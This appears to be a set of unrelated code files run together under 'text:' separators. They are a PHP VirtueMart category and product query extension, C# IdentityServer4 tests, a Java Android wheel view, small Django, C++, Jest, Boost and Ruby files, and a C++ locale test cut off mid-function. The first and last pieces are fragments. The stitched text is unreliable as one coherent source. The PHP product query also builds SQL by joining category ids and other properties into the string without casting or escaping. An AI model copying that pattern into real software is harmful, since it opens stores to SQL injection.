        $_catids = $db->loadObjectList();
        foreach ($_catids as $cat) {
            $list[] = $cat->id;
        }

        return $list;
    }

    /**
     * Override function getCategoryTree in model Category
     */
    public static function getCategoryTree($parentId = 0, $level = 0, $onlyPublished = true, $keyword = '')
    {
        $sortedCats = array();
        $categoryModel = VmModel::getModel('Category');
        $limits = $categoryModel->setPaginationLimits();
        $limitStart = $limits[0];
        $limit = $limits[1];

        $categoryModel->_noLimit = true;
        if ($keyword != '') {
            $sortedCats = self::getCategories($onlyPublished, false, false, $keyword);
            if (!empty($sortedCats)) {
                $siblingCount = count($sortedCats);
                foreach ($sortedCats as $key => &$category) {
                    $category->siblingCount = $siblingCount;
                }
            }
        } else {
            self::rekurseCats($parentId, $level, $onlyPublished, $keyword, $sortedCats);
        }

        $categoryModel->_noLimit = false;
        $categoryModel->_total = count($sortedCats);

        $categoryModel->_limitStart = $limitStart;
        $categoryModel->_limit = $limit;

        $categoryModel->getPagination();

        if (empty($limit)) {
            return $sortedCats;
        } else {
            $sortedCats = array_slice($sortedCats, $limitStart, $limit);
            return $sortedCats;
        }

    }

    /**
     * Override function rekurseCats in model Category
     */
    public static function rekurseCats($virtuemart_category_id, $level, $onlyPublished, $keyword, &$sortedCats)
    {
        $level++;
        $categoryModel = VmModel::getModel('Category');
        if ($childs = $categoryModel->hasChildren($virtuemart_category_id)) {

            $childCats = self::getCategories($onlyPublished, $virtuemart_category_id, false, $keyword, true);
            if (!empty($childCats)) {

                $siblingCount = count($childCats);
                foreach ($childCats as $key => $category) {
                    $category->level = $level;
                    $category->siblingCount = $siblingCount;
                    $sortedCats[] = $category;
                    self::rekurseCats($category->virtuemart_category_id, $level, $onlyPublished, $keyword, $sortedCats);
                }
            }
        }
    }

    /**
     * Override function getCategories in model Category
     */
    public static function getCategories($onlyPublished = true, $parentId = false, $childId = false, $keyword = "", $vendorId = false)
    {
        $categoryModel = VmModel::getModel('Category');
        $select = ' c.`virtuemart_category_id`, l.`category_description`, l.`category_name`, c.`ordering`, c.`published`, cx.`category_child_id`, cx.`category_parent_id`, c.`shared` ';

        $joinedTables = ' FROM `#__virtuemart_categories_' . VmConfig::$vmlang . '` l
				  JOIN `#__virtuemart_categories` AS c using (`virtuemart_category_id`)
				  LEFT JOIN `#__virtuemart_category_categories` AS cx
				  ON l.`virtuemart_category_id` = cx.`category_child_id` ';

        $where = array();

        if ($onlyPublished) {
            $where[] = " c.`published` = 1 ";
        }
        if ($parentId !== false) {
            $where[] = ' cx.`category_parent_id` = ' . (int)$parentId;
        }

        if ($childId !== false) {
            $where[] = ' cx.`category_child_id` = ' . (int)$childId;
        }

        if ($vendorId === false) {
            $vendorId = VmConfig::isSuperVendor();
        }

        if ($vendorId == 1) {

            $where[] = ' (c.`virtuemart_vendor_id` = "' . (int)$vendorId . '" OR c.`shared` = "1") ';
        }

        if (!empty($keyword)) {
            $db = JFactory::getDBO();
            $keyword = '"%' . $db->escape($keyword, true) . '%"';
            //$keyword = $db->Quote($keyword, false);
            $where[] = ' ( l.`category_name` LIKE ' . $keyword . '
							   OR l.`category_description` LIKE ' . $keyword . ') ';
        }

        $whereString = '';
        if (count($where) > 0) {
            $whereString = ' WHERE ' . implode(' AND ', $where);
        } else {
            $whereString = 'WHERE 1 ';
        }
        $ordering = $categoryModel->_getOrdering();
        self::$_category_tree = $categoryModel->exeSortSearchListQuery(0, $select, $joinedTables, $whereString, 'GROUP BY virtuemart_category_id', $ordering);
        return self::$_category_tree;
    }
}

if (!class_exists('VirtuemartModelProductExtend') && class_exists('VirtueMartModelProduct')) {
    class VirtuemartModelProductExtend extends VirtueMartModelProduct
    {
        function sortSearchListQuery($onlyPublished = TRUE, $virtuemart_category_id = FALSE, $group = FALSE, $nbrReturnProducts = FALSE, $langFields = Array())
        {
            $app = JFactory::getApplication();
            $groupBy = ' group by p.`virtuemart_product_id` ';
            $joinCategory = FALSE;
            $joinMf = FALSE;
            $joinPrice = FALSE;
            $joinCustom = FALSE;
            $joinShopper = FALSE;
            $joinChildren = FALSE;
            $joinLang = TRUE;
            $orderBy = ' ';

            $where = array();
            $useCore = TRUE;
            if ($useCore) {
                $isSite = $app->isSite();
                if ($onlyPublished) {
                    $where[] = ' p.`published`="1" ';
                }
                if ($isSite and !VmConfig::get('use_as_catalog', 0)) {
                    if (VmConfig::get('stockhandle', 'none') == 'disableit_children') {
                        $where[] = ' (p.`product_in_stock` - p.`product_ordered` >"0" OR children.`product_in_stock` - children.`product_ordered` > "0") ';
                        $joinChildren = TRUE;
                    } else if (VmConfig::get('stockhandle', 'none') == 'disableit') {
                        $where[] = ' p.`product_in_stock` - p.`product_ordered` >"0" ';
                    }
                }

                if ($virtuemart_category_id !== false) {
                    $joinCategory = TRUE;

                    if (is_string($virtuemart_category_id) && preg_match('/[\s|,]+/', $virtuemart_category_id)) {
                        $virtuemart_category_id = preg_split('/[\s|,]+/', $virtuemart_category_id);
                    }
                    if (!is_array($virtuemart_category_id)) {
                        settype($virtuemart_category_id, 'array');
                    }

                    $where[] = ' `pc`.`virtuemart_category_id` IN (' . implode(',', $virtuemart_category_id) . ')';

                }

                if ($isSite and !VmConfig::get('show_uncat_child_products', TRUE)) {
                    $joinCategory = TRUE;
                    $where[] = ' `pc`.`virtuemart_category_id` > 0 ';
                }

                if ($this->product_parent_id) {
                    $where[] = ' p.`product_parent_id` = ' . $this->product_parent_id;
                }

                if ($isSite) {
                    $usermodel = VmModel::getModel('user');
                    $currentVMuser = $usermodel->getUser();
                    $virtuemart_shoppergroup_ids = (array)$currentVMuser->shopper_groups;

                    if (is_array($virtuemart_shoppergroup_ids)) {
                        $sgrgroups = array();
                        foreach ($virtuemart_shoppergroup_ids as $key => $virtuemart_shoppergroup_id) {
                            $sgrgroups[] = 's.`virtuemart_shoppergroup_id`= "' . (int)$virtuemart_shoppergroup_id . '" ';
                        }
                        $sgrgroups[] = 's.`virtuemart_shoppergroup_id` IS NULL ';
                        $where[] = " ( " . implode(' OR ', $sgrgroups) . " ) ";

                        $joinShopper = TRUE;
                    }
                }

                if ($this->virtuemart_manufacturer_id) {
                    $joinMf = TRUE;
                    $where[] = ' `#__virtuemart_product_manufacturers`.`virtuemart_manufacturer_id` = ' . $this->virtuemart_manufacturer_id;
                }

                switch ($this->specail_product) {
                    case 'hide':
                        $where[] = ' p.`product_special`="0" ';
                        break;

                    case 'only':
                        $where[] = ' p.`product_special`="1" ';
                        break;

                    case 'show':
                    default:
                        break;
                }

                $this->filter_order_Dir = $this->ordering_direction;

                if ($this->filter_order) {
                    switch ($this->filter_order) {
                        default:
                        case 'id':
                            $orderBy = ' ORDER BY p.`virtuemart_product_id` ';
                            break;
                        case 'ordering':
                            $orderBy = ' ORDER BY `pc`.`ordering` ';
                            $joinCategory = TRUE;
                            break;
                        case 'product_name':
                            $orderBy = ' ORDER BY l.`product_name` ';
                            $joinPrice = TRUE;
                            break;
                        case 'product_price':
                            $orderBy = ' ORDER BY pp.`product_price` ';
                            $joinPrice = TRUE;
                            break;
                        case 'created_on':
                            $orderBy = ' ORDER BY p.`created_on` ';
                            break;
                        case 'latest':
                            $orderBy = 'ORDER BY p.`modified_on`';
                            break;
                        case 'topten':
                            $orderBy = ' ORDER BY p.`product_sales` ';
                            $where[] = 'pp.`product_price`>"0.0" ';
                            break;
                    }
                    $joinPrice = TRUE;
                }
                if ($group) {
                    $groupBy = 'group by p.`virtuemart_product_id` ';
                }
            }

            if ($joinLang) {
                $select = ' l.`virtuemart_product_id` FROM `#__virtuemart_products_' . VMLANG . '` as l';
                $joinedTables = ' JOIN `#__virtuemart_products` AS p using (`virtuemart_product_id`)';
            } else {
                $select = ' p.`virtuemart_product_id` FROM `#__virtuemart_products` as p';
                $joinedTables = '';
            }

            if ($joinCategory == TRUE) {
                $joinedTables .= ' LEFT JOIN `#__virtuemart_product_categories` as pc ON p.`virtuemart_product_id` = `pc`.`virtuemart_product_id`
				 LEFT JOIN `#__virtuemart_categories_' . VMLANG . '` as c ON c.`virtuemart_category_id` = `pc`.`virtuemart_category_id`';
            }
            if ($joinMf == TRUE) {
                $joinedTables .= ' LEFT JOIN `#__virtuemart_product_manufacturers` ON p.`virtuemart_product_id` = `#__virtuemart_product_manufacturers`.`virtuemart_product_id`
				 LEFT JOIN `#__virtuemart_manufacturers_' . VMLANG . '` as m ON m.`virtuemart_manufacturer_id` = `#__virtuemart_product_manufacturers`.`virtuemart_manufacturer_id` ';
            }

            if ($joinPrice == TRUE) {
                $joinedTables .= ' LEFT JOIN `#__virtuemart_product_prices` as pp ON p.`virtuemart_product_id` = pp.`virtuemart_product_id` ';
            }
            if ($this->searchcustoms) {
                $joinedTables .= ' LEFT JOIN `#__virtuemart_product_customfields` as pf ON p.`virtuemart_product_id` = pf.`virtuemart_product_id` ';
            }
            if ($this->searchplugin !== 0) {
                if (!empty($PluginJoinTables)) {
                    $plgName = $PluginJoinTables[0];
                    $joinedTables .= ' LEFT JOIN `#__virtuemart_product_custom_plg_' . $plgName . '` as ' . $plgName . ' ON ' . $plgName . '.`virtuemart_product_id` = p.`virtuemart_product_id` ';
                }
            }
            if ($joinShopper == TRUE) {
                $joinedTables .= ' LEFT JOIN `#__virtuemart_product_shoppergroups` ON p.`virtuemart_product_id` = `#__virtuemart_product_shoppergroups`.`virtuemart_product_id`
				 LEFT  OUTER JOIN `#__virtuemart_shoppergroups` as s ON s.`virtuemart_shoppergroup_id` = `#__virtuemart_product_shoppergroups`.`virtuemart_shoppergroup_id`';
            }

            if ($joinChildren) {
                $joinedTables .= ' LEFT OUTER JOIN `#__virtuemart_products` children ON p.`virtuemart_product_id` = children.`product_parent_id` ';
            }

            if (count($where) > 0) {
                $whereString = ' WHERE (' . implode(' AND ', $where) . ') ';
            } else {
                $whereString = '';
            }

            //$this->orderByString = $orderBy;
            $product_ids = $this->_exeSortSearchListQuery(2, $select, $joinedTables, $whereString, $groupBy, $orderBy, $this->filter_order_Dir, $nbrReturnProducts);
            return $product_ids;

        }

        public function _exeSortSearchListQuery($object, $select, $joinedTables, $whereString = '', $groupBy = '', $orderBy = '', $filter_order_Dir = '', $nbrReturnProducts = false){

            $db = JFactory::getDbo();
            //and the where conditions
            $joinedTables .="\n".$whereString."\n".$groupBy."\n".$orderBy.' '.$filter_order_Dir ;
            //$joinedTables .= $whereString .$groupBy .$orderBy .$filter_order_Dir ;
            // 			$joinedTables .= $whereString .$groupBy .$orderBy;

            if($nbrReturnProducts){
                $limitStart = 0;
                $limit = $nbrReturnProducts;
                $this->_withCount = false;
            } else if($this->_noLimit){
                $this->_withCount = false;
                $limitStart = 0;
                $limit = 0;
            } else {
                $limits = $this->setPaginationLimits();
                $limitStart = $limits[0];
                $limit = $limits[1];
            }

            if($this->_withCount){
                $q = 'SELECT SQL_CALC_FOUND_ROWS '.$select.$joinedTables;
            } else {
                $q = 'SELECT '.$select.$joinedTables;
            }
            $app = JFactory::getApplication();
            //$page = $app->input->getInt('page',1);
            $_count = $nbrReturnProducts;
            $start = $app->input->getInt('ajax_reslisting_start',0);
            $limitStart = $start;
            $limit = $_count;
            if($this->_noLimit or empty($limit)){
                $db->setQuery($q);
            } else {
                $db->setQuery($q,$limitStart,$limit);
            }

            if($object == 2){
                $this->ids = $db->loadColumn();
            } else if($object == 1 ){
                $this->ids = $db->loadAssocList();
            } else {
                $this->ids = $db->loadObjectList();
            }
            if($err=$db->getErrorMsg()){
                vmError('exeSortSearchListQuery '.$err);
            }
            //vmdebug('my $limitStart '.$limitStart.'  $limit '.$limit.' q '.$db->getQuery() );

            if($this->_withCount){

                $db->setQuery('SELECT FOUND_ROWS()');
                $count = $db->loadResult();

                if($count == false){
                    $count = 0;
                }
                $this->_total = $count;
                if($limitStart>=$count){
                    if(empty($limit)){
                        $limit = 1.0;
                    }
                    $limitStart = floor($count/$limit);
                    $db->setQuery($q,$limitStart,$limit);
                    if($object == 2){
                        $this->ids = $db->loadColumn();
                    } else if($object == 1 ){
                        $this->ids = $db->loadAssocList();
                    } else {
                        $this->ids = $db->loadObjectList();
                    }
                }
// 			$this->getPagination(true);

            } else {
                $this->_withCount = true;
            }

            //print_r( $db->_sql );
            // 			vmdebug('my $list',$list);
            if(empty($this->ids)){
                $errors = $db->getErrorMsg();
                if( !empty( $errors)){
                    vmdebug('exeSortSearchListQuery error in class '.get_class($this).' sql:',$db->getErrorMsg());
                }
                if($object == 2 or $object == 1){
                    $this->ids = array();
                }
            }
            // 			vmTime('exeSortSearchListQuery SQL_CALC_FOUND_ROWS','exe');

            return $this->ids;

        }

    }
}


text:
using System.Threading.Tasks;
using FluentAssertions;
using Gilmond.MongoDB.IdentityServer4.IntegrationTests.Fixtures;
using IdentityServer4.Models;
using IdentityServer4.Stores;
using Xunit;

namespace Gilmond.MongoDB.IdentityServer4.IntegrationTests.Stores
{
	public class ClientStoreTests
	{
		public class GivenClientExists : IClassFixture<CollectionProviderFixture>
		{
			private Client Client { get; }

			private GivenClientExists(CollectionProviderFixture fixture)
			{
				Client = new Client
				{
					ClientId = "test_client",
					ClientName = "Test Client"
				};
				fixture.AddClient(Client);
			}

			public class WhenFindClientByIdAsync : GivenClientExists
			{
				private readonly IClientStore _clientStore;

				public WhenFindClientByIdAsync(CollectionProviderFixture fixture) : base(fixture)
				{
					_clientStore = fixture.GetClientStore();
				}

				[Fact]
				public async Task ThenClientIsReturned()
				{
					var client = await _clientStore.FindClientByIdAsync(Client.ClientId).ConfigureAwait(false);
					client.Should().NotBeNull(because: "client exists");
				}

				[Fact]
				public async Task ThenClientIdIsPopulated()
				{
					var client = await _clientStore.FindClientByIdAsync(Client.ClientId).ConfigureAwait(false);
					client.ClientId.Should().Be(Client.ClientId, because: "client id was set");
				}

				[Fact]
				public async Task ThenClientNameIsPopulated()
				{
					var client = await _clientStore.FindClientByIdAsync(Client.ClientId).ConfigureAwait(false);
					client.ClientName.Should().Be(Client.ClientName, because: "client name was set");
				}
			}
		}
	}
}


text:
package org.droidplanner.android.view.spinnerWheel;

import org.droidplanner.android.R;
import org.droidplanner.android.view.spinnerWheel.adapters.AbstractWheelTextAdapter;
import org.droidplanner.android.view.spinnerWheel.adapters.NumericWheelAdapter;

import android.content.Context;
import android.content.res.TypedArray;
import android.graphics.Canvas;
import android.graphics.LinearGradient;
import android.graphics.Shader;
import android.util.AttributeSet;
import android.view.MotionEvent;
import android.view.View;
import android.view.ViewGroup.LayoutParams;
import android.widget.LinearLayout;

/**
 * Spinner wheel horizontal view.
 *
 * @author Yuri Kanivets
 * @author Dimitri Fedorov
 */
public class WheelHorizontalView<T> extends AbstractWheelView {

	@SuppressWarnings("unused")
	private final String LOG_TAG = WheelHorizontalView.class.getSimpleName();

	/**
	 * The width of the selection divider.
	 */
	protected int mSelectionDividerWidth;

	// Item width
	private int itemWidth = 0;

	// --------------------------------------------------------------------------
	//
	// Constructors
	//
	// --------------------------------------------------------------------------

	/**
	 * Create a new wheel horizontal view.
	 *
	 * @param context
	 *            The application environment.
	 */
	public WheelHorizontalView(Context context) {
		this(context, null);
	}

	/**
	 * Create a new wheel horizontal view.
	 *
	 * @param context
	 *            The application environment.
	 * @param attrs
	 *            A collection of attributes.
	 */
	public WheelHorizontalView(Context context, AttributeSet attrs) {
		this(context, attrs, 0);
	}

	/**
	 * Create a new wheel horizontal view.
	 *
	 * @param context
	 *            the application environment.
	 * @param attrs
	 *            a collection of attributes.
	 * @param defStyle
	 *            The default style to apply to this view.
	 */
	public WheelHorizontalView(final Context context, AttributeSet attrs, int defStyle) {
		super(context, attrs, defStyle);

		// Create a dummy view adapter if we're in edit mode.
		if (isInEditMode()) {
			final NumericWheelAdapter adapter = new NumericWheelAdapter(context, 0, 100);
			adapter.setItemResource(R.layout.wheel_text_centered);
			setViewAdapter(adapter);
			setCurrentItem(50);
		}
	}

	@Override
	public void onDetachedFromWindow() {
		super.onDetachedFromWindow();
	}

	// --------------------------------------------------------------------------
	//
	// Initiating assets and setter for selector paint
	//
	// --------------------------------------------------------------------------

	@Override
	protected void initAttributes(AttributeSet attrs, int defStyle) {
		super.initAttributes(attrs, defStyle);

		TypedArray a = getContext().obtainStyledAttributes(attrs, R.styleable.WheelHorizontalView,
				defStyle, 0);
		mSelectionDividerWidth = a.getDimensionPixelSize(
				R.styleable.WheelHorizontalView_selectionDividerWidth, DEF_SELECTION_DIVIDER_SIZE);
		a.recycle();
	}

	public void setSelectionDividerWidth(int selectionDividerWidth) {
		this.mSelectionDividerWidth = selectionDividerWidth;
	}

	@Override
	public void setSelectorPaintCoeff(float coeff) {
		LinearGradient shader;

		int w = getMeasuredWidth();
		int iw = getItemDimension();
		float p1 = (1 - iw / (float) w) / 2;
		float p2 = (1 + iw / (float) w) / 2;
		float z = mItemsDimmedAlpha * (1 - coeff);
		float c1f = z + 255 * coeff;

		if (mVisibleItems == 2) {
			int c1 = Math.round(c1f) << 24;
			int c2 = Math.round(z) << 24;
			int[] colors = { c2, c1, 0xff000000, 0xff000000, c1, c2 };
			float[] positions = { 0, p1, p1, p2, p2, 1 };
			shader = new LinearGradient(0, 0, w, 0, colors, positions, Shader.TileMode.CLAMP);
		} else {
			float p3 = (1 - iw * 3 / (float) w) / 2;
			float p4 = (1 + iw * 3 / (float) w) / 2;

			float s = 255 * p3 / p1;
			float c3f = s * coeff; // here goes some optimized stuff
			float c2f = z + c3f;

			int c1 = Math.round(c1f) << 24;
			int c2 = Math.round(c2f) << 24;
			int c3 = Math.round(c3f) << 24;

			int[] colors = { c2, c2, c2, c2, 0xff000000, 0xff000000, c2, c2, c2, c2 };
			float[] positions = { 0, p3, p3, p1, p1, p2, p2, p4, p4, 1 };
			shader = new LinearGradient(0, 0, w, 0, colors, positions, Shader.TileMode.CLAMP);
		}
		mSelectorWheelPaint.setShader(shader);
		invalidate();
	}

	// --------------------------------------------------------------------------
	//
	// Scroller-specific methods
	//
	// --------------------------------------------------------------------------

	@Override
	protected WheelScroller createScroller(WheelScroller.ScrollingListener scrollingListener) {
		return new WheelHorizontalScroller(getContext(), scrollingListener);
	}

	@Override
	protected float getMotionEventPosition(MotionEvent event) {
		return event.getX();
	}

	// --------------------------------------------------------------------------
	//
	// Base measurements
	//
	// --------------------------------------------------------------------------

	@Override
	protected int getBaseDimension() {
		return getWidth();
	}

	/**
	 * Returns height of spinnerwheel item
	 *
	 * @return the item width
	 */
	@Override
	protected int getItemDimension() {
		if (itemWidth != 0) {
			return itemWidth;
		}

		if (mItemsLayout != null && mItemsLayout.getChildAt(0) != null) {
			itemWidth = mItemsLayout.getChildAt(0).getMeasuredWidth();
			return itemWidth;
		}

		return getBaseDimension() / mVisibleItems;
	}

	public void setViewAdapter(AbstractWheelTextAdapter<T> viewAdapter) {
		super.setViewAdapter(viewAdapter);
	}

	public AbstractWheelTextAdapter<T> getViewAdapter() {
		return (AbstractWheelTextAdapter<T>) mViewAdapter;
	}

	// --------------------------------------------------------------------------
	//
	// Layout creation and measurement operations
	//
	// --------------------------------------------------------------------------

	/**
	 * Creates item layouts if necessary
	 */
	@Override
	protected void createItemsLayout() {
		if (mItemsLayout == null) {
			mItemsLayout = new LinearLayout(getContext());
			mItemsLayout.setOrientation(LinearLayout.HORIZONTAL);
		}
	}

	@Override
	protected void doItemsLayout() {
		mItemsLayout.layout(0, 0, getMeasuredWidth(), getMeasuredHeight() - 2 * mItemsPadding);
	}

	@Override
	protected void measureLayout() {
		mItemsLayout.setLayoutParams(new LayoutParams(LayoutParams.WRAP_CONTENT,
				LayoutParams.WRAP_CONTENT));
		// XXX: Locating bug
		mItemsLayout.measure(View.MeasureSpec.makeMeasureSpec(getWidth() + getItemDimension(),
				View.MeasureSpec.UNSPECIFIED), View.MeasureSpec.makeMeasureSpec(getHeight(),
				View.MeasureSpec.AT_MOST));
	}

	// XXX: Most likely, measurements of mItemsLayout or/and its children are
	// done inconrrectly.
	// Investigate and fix it

	@Override
	protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {
		int widthMode = View.MeasureSpec.getMode(widthMeasureSpec);
		int heightMode = View.MeasureSpec.getMode(heightMeasureSpec);
		int widthSize = View.MeasureSpec.getSize(widthMeasureSpec);
		int heightSize = View.MeasureSpec.getSize(heightMeasureSpec);

		rebuildItems(); // rebuilding before measuring

		int height = calculateLayoutHeight(heightSize, heightMode);

		int width;
		if (widthMode == View.MeasureSpec.EXACTLY) {
			width = widthSize;
		} else {
			width = Math.max(getItemDimension() * (mVisibleItems - mItemOffsetPercent / 100),
					getSuggestedMinimumWidth());

			if (widthMode == View.MeasureSpec.AT_MOST) {
				width = Math.min(width, widthSize);
			}
		}
		setMeasuredDimension(width, height);
	}

	/**
	 * Calculates control height and creates text layouts
	 *
	 * @param heightSize
	 *            the input layout height
	 * @param mode
	 *            the layout mode
	 * @return the calculated control height
	 */
	private int calculateLayoutHeight(int heightSize, int mode) {
		mItemsLayout.setLayoutParams(new LayoutParams(LayoutParams.WRAP_CONTENT,
				LayoutParams.WRAP_CONTENT));
		mItemsLayout.measure(View.MeasureSpec.makeMeasureSpec(0, View.MeasureSpec.UNSPECIFIED),
				View.MeasureSpec.makeMeasureSpec(heightSize, View.MeasureSpec.UNSPECIFIED));
		int height = mItemsLayout.getMeasuredHeight();

		if (mode == View.MeasureSpec.EXACTLY) {
			height = heightSize;
		} else {
			height += 2 * mItemsPadding;

			// Check against our minimum width
			height = Math.max(height, getSuggestedMinimumHeight());

			if (mode == View.MeasureSpec.AT_MOST && heightSize < height) {
				height = heightSize;
			}
		}
		// forcing recalculating
		mItemsLayout.measure(
		// MeasureSpec.makeMeasureSpec(0, MeasureSpec.UNSPECIFIED),
				View.MeasureSpec.makeMeasureSpec(400, View.MeasureSpec.EXACTLY), View.MeasureSpec
						.makeMeasureSpec(height - 2 * mItemsPadding, View.MeasureSpec.EXACTLY));

		return height;
	}

	// --------------------------------------------------------------------------
	//
	// Drawing items
	//
	// --------------------------------------------------------------------------

	@Override
	protected void drawItems(Canvas canvas) {
		canvas.save();
		int w = getMeasuredWidth();
		int h = getMeasuredHeight();
		int iw = getItemDimension();

		// resetting intermediate bitmap and recreating canvases
		mSpinBitmap.eraseColor(0);
		Canvas c = new Canvas(mSpinBitmap);
		Canvas cSpin = new Canvas(mSpinBitmap);

		int left = (mCurrentItemIdx - mFirstItemIdx) * iw + (iw - getWidth()) / 2;
		c.translate(-left + mScrollingOffset, mItemsPadding);
		mItemsLayout.draw(c);

		mSeparatorsBitmap.eraseColor(0);
		Canvas cSeparators = new Canvas(mSeparatorsBitmap);

		if (mSelectionDivider != null) {
			// draw the top divider
			int leftOfLeftDivider = (getWidth() - iw - mSelectionDividerWidth) / 2;
			int rightOfLeftDivider = leftOfLeftDivider + mSelectionDividerWidth;
			cSeparators.save();
			// On Gingerbread setBounds() is ignored resulting in an ugly visual
			// bug.
			cSeparators.clipRect(leftOfLeftDivider, 0, rightOfLeftDivider, h);
			mSelectionDivider.setBounds(leftOfLeftDivider, 0, rightOfLeftDivider, h);
			mSelectionDivider.draw(cSeparators);
			cSeparators.restore();

			cSeparators.save();
			// draw the bottom divider
			int leftOfRightDivider = leftOfLeftDivider + iw;
			int rightOfRightDivider = rightOfLeftDivider + iw;
			// On Gingerbread setBounds() is ignored resulting in an ugly visual
			// bug.
			cSeparators.clipRect(leftOfRightDivider, 0, rightOfRightDivider, h);
			mSelectionDivider.setBounds(leftOfRightDivider, 0, rightOfRightDivider, h);
			mSelectionDivider.draw(cSeparators);
			cSeparators.restore();
		}

		cSpin.drawRect(0, 0, w, h, mSelectorWheelPaint);
		cSeparators.drawRect(0, 0, w, h, mSeparatorsPaint);

		canvas.drawBitmap(mSpinBitmap, 0, 0, null);
		canvas.drawBitmap(mSeparatorsBitmap, 0, 0, null);
		canvas.restore();
	}

}


text:
from django.utils.termcolors import colorize
from django.core.management.base import BaseCommand

class CalAccessCommand(BaseCommand):

    def header(self, string):
        self.stdout.write(
            colorize(string, fg="cyan", opts=("bold",))
        )

    def log(self, string):
        self.stdout.write(
            colorize("%s" % string, fg="white")
        )

    def success(self, string):
        self.stdout.write(
            colorize(string, fg="green")
        )

    def failure(self, string):
        self.stdout.write(
            colorize(string, fg="red")
        )


text:
#pragma once

#include "chronotext/time/TimeBase.h"

#include "cinder/Timer.h"

namespace chr
{
    class DefaultTimeBase : public TimeBase
    {
    public:
        static std::shared_ptr<DefaultTimeBase> create()
        {
            return std::shared_ptr<DefaultTimeBase>(new DefaultTimeBase());
        }

        double getTime() final
        {
            return timer.getSeconds();
        }

    protected:
        ci::Timer timer;

        DefaultTimeBase()
        {
            timer.start();
        }
    };
}


text:
/* eslint-disable @typescript-eslint/no-var-requires */
/* eslint-disable import/no-dynamic-require */
import { getProjectPath } from '../../utils';

const pkg = require(getProjectPath('package.json'));
const transformPackages = ['react-native', 'react-native-camera-roll-picker'];

module.exports = {
  displayName: {
    name: pkg.name,
    color: 'blue',
  },
  // preset: 'react-native',
  rootDir: process.cwd(),
  roots: ['<rootDir>/components'],
  transform: {
    '^.+\\.jsx?$': require.resolve('./preprocessor.native'),
    '^.+\\.tsx?$': require.resolve('ts-jest'),
  },
  // setupFilesAfterEnv: [
  //   getProjectPath('scripts/jest/setup.js'),
  // ],
  // testRegex: '/__tests__/[^.]+\\.test(\\.(js|jsx|ts|tsx))$',
  testRegex: '/__tests__/[^.]+\\.native.test(\\.(js|jsx|ts|tsx))$',
  collectCoverageFrom: ['components/**/*.native.{ts,tsx}'],
  moduleFileExtensions: ['ts', 'tsx', 'js', 'jsx', 'json', 'node'],
  transformIgnorePatterns: [`<rootDir>/node_modules/(?!(${transformPackages.join('|')})/)`],
  testEnvironment: 'jsdom',
};


text:
namespace boost{
namespace container {
namespace test{

template< class T1, class T2>
bool CheckEqual( const T1 &t1, const T2 &t2
               , typename boost::container::container_detail::enable_if_c
                  <!boost::container::container_detail::is_pair<T1>::value &&
                   !boost::container::container_detail::is_pair<T2>::value
                  >::type* = 0)
{  return t1 == t2;  }

template<class T1, class T2, class C1, class C2>
bool CheckEqualIt( const T1 &i1, const T2 &i2, const C1 &c1, const C2 &c2 )
{
   bool c1end = i1 == c1.end();
   bool c2end = i2 == c2.end();
   if( c1end != c2end ){
      return false;
   }
   else if(c1end){
      return true;
   }
   else{
      return CheckEqual(*i1, *i2);
   }
}

template< class Pair1, class Pair2>
bool CheckEqual( const Pair1 &pair1, const Pair2 &pair2
               , typename boost::container::container_detail::enable_if_c
                  <boost::container::container_detail::is_pair<Pair1>::value &&
                   boost::container::container_detail::is_pair<Pair2>::value
                  >::type* = 0)
{
   return CheckEqual(pair1.first, pair2.first) && CheckEqual(pair1.second, pair2.second);
}

//Function to check if both containers are equal
template<class ContA
        ,class ContB>
bool CheckEqualContainers(const ContA &cont_a, const ContB &cont_b)
{
   if(cont_a.size() != cont_b.size())
      return false;

   typename ContA::const_iterator itcont_a(cont_a.begin()), itcont_a_end(cont_a.end());
   typename ContB::const_iterator itcont_b(cont_b.begin()), itcont_b_end(cont_b.end());;
   typename ContB::size_type dist = (typename ContB::size_type)boost::container::iterator_distance(itcont_a, itcont_a_end);
   if(dist != cont_a.size()){
      return false;
   }
   typename ContA::size_type dist2 = (typename ContA::size_type)boost::container::iterator_distance(itcont_b, itcont_b_end);
   if(dist2 != cont_b.size()){
      return false;
   }
   std::size_t i = 0;
   for(; itcont_a != itcont_a_end; ++itcont_a, ++itcont_b, ++i){
      if(!CheckEqual(*itcont_a, *itcont_b))
         return false;
   }
   return true;
}

template<class MyBoostCont
        ,class MyStdCont>
bool CheckEqualPairContainers(const MyBoostCont &boostcont, const MyStdCont &stdcont)
{
   if(boostcont.size() != stdcont.size())
      return false;

   typedef typename MyBoostCont::key_type      key_type;
   typedef typename MyBoostCont::mapped_type   mapped_type;

   typename MyBoostCont::const_iterator itboost(boostcont.begin()), itboostend(boostcont.end());
   typename MyStdCont::const_iterator itstd(stdcont.begin());
   for(; itboost != itboostend; ++itboost, ++itstd){
      if(itboost->first != key_type(itstd->first))
         return false;

      if(itboost->second != mapped_type(itstd->second))
         return false;
   }
   return true;
}

}  //namespace test{
}  //namespace container {
}  //namespace boost{

#include <boost/container/detail/config_end.hpp>

#endif //#ifndef BOOST_CONTAINER_TEST_CHECK_EQUAL_CONTAINER_HPP


text:
require 'spec_helper'

describe OhMyEmbed::Providers::DeviantArt do
  let(:provider) { OhMyEmbed::Providers::DeviantArt }
  let(:content_url) { 'http://fav.me/d2enxz7' }

  it 'the content_url matches the schema' do
    expect(provider.regex).to match content_url
  end

  describe 'fetching' do
    it 'returns a video response with required attributes' do
      VCR.use_cassette('deviantart') do
        response = provider.fetch(content_url)

        expect(response).to be_a OhMyEmbed::Response

        expect(response.type).to eq :photo

        expect(response.provider_name).to eq 'DeviantArt'
        expect(response.provider_url).to eq 'http://www.deviantart.com'

        expect(response.url).to eq 'http://orig03.deviantart.net/3c1c/f/2009/336/4/7/cope_by_pachunka.jpg'

        expect(response.title).to eq 'Cope'

        expect(response.author).to eq({
          name: 'Pachunka',
          url: 'http://Pachunka.deviantart.com',
        })

        expect(response.thumbnail).to eq({
          url: 'http://t10.deviantart.net/nHw1FLNfxnT4ga1BPKmlV3V7h2E=/fit-in/300x900/filters:no_upscale():origin()/pre11/dde3/th/pre/f/2009/336/4/7/cope_by_pachunka.jpg',
          width: 300,
          height: 450,
        })

        expect(response.embed[:html]).to be nil
        expect(response.embed[:width]).to eq '448'
        expect(response.embed[:height]).to eq '672'
      end
    end
  end
end


text:
int main()
{
  bool test __attribute__((unused)) = true;

  using std::locale;
  using std::has_facet;
  using std::use_facet;
  typedef std::ctype<char> base_facet;
  typedef std::ctype_byname<char> derived_facet;

  locale loc_c = locale::classic();
  locale loc_base = loc_c;
  locale loc_derived(loc_c, new derived_facet("C"));

